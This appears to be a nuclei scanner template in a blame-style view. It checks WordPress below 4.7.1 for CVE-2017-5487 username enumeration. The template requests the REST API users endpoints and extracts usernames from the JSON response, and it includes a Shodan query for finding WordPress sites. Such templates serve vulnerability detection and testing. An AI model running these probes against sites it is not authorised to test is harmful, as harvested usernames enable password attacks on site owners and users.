nuclei-templates/cves/2017/CVE-2017-5487.yaml

59 lines
1.7 KiB
YAML
Raw Normal View History

2021-06-10 16:27:07 +00:00
id: CVE-2017-5487
2021-06-10 16:27:07 +00:00
info:
name: WordPress Core <4.7.1 - Username Enumeration
2022-05-27 03:44:47 +00:00
author: Manas_Harsh,daffainfo,geeknik,dr0pd34d
severity: medium
description: WordPress Core before 4.7.1 is susceptible to user enumeration because it does not properly restrict listings of post authors via wp-includes/rest-api/endpoints/class-wp-rest-users-controller.php in the REST API, which allows a remote attacker to obtain sensitive information via a wp-json/wp/v2/users request.
reference:
- https://www.exploit-db.com/exploits/41497
- https://www.wordfence.com/blog/2016/12/wordfence-blocks-username-harvesting-via-new-rest-api-wp-4-7/
- https://wordpress.org/news/2017/01/wordpress-4-7-1-security-and-maintenance-release/
- https://nvd.nist.gov/vuln/detail/CVE-2017-5487
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2017-5487
cwe-id: CWE-200
2022-05-27 03:44:47 +00:00
metadata:
shodan-query: http.component:"WordPress"
verified: "true"
tags: cve,cve2017,wordpress,wp,edb
2021-06-10 16:27:07 +00:00
requests:
- method: GET
path:
- "{{BaseURL}}/wp-json/wp/v2/users/"
- "{{BaseURL}}/?rest_route=/wp/v2/users/"
2022-05-27 03:44:47 +00:00
2021-09-01 23:59:23 +00:00
stop-at-first-match: true
2021-06-10 16:27:07 +00:00
matchers-condition: and
matchers:
2022-05-27 03:44:47 +00:00
2021-06-10 16:27:07 +00:00
- type: word
2022-05-27 03:44:47 +00:00
part: body
2021-06-10 16:27:07 +00:00
words:
- '"id":'
- '"name":'
- '"avatar_urls":'
2021-07-13 18:58:52 +00:00
condition: and
2022-05-27 03:44:47 +00:00
- type: word
part: header
words:
- "application/json"
- type: status
status:
- 200
extractors:
2022-03-26 11:15:50 +00:00
- type: json
part: body
2022-05-27 03:44:47 +00:00
name: "usernames"
json:
- '.[] | .slug'
2022-05-27 03:48:34 +00:00
- '.[].name'
# Enhanced by md on 2023/01/30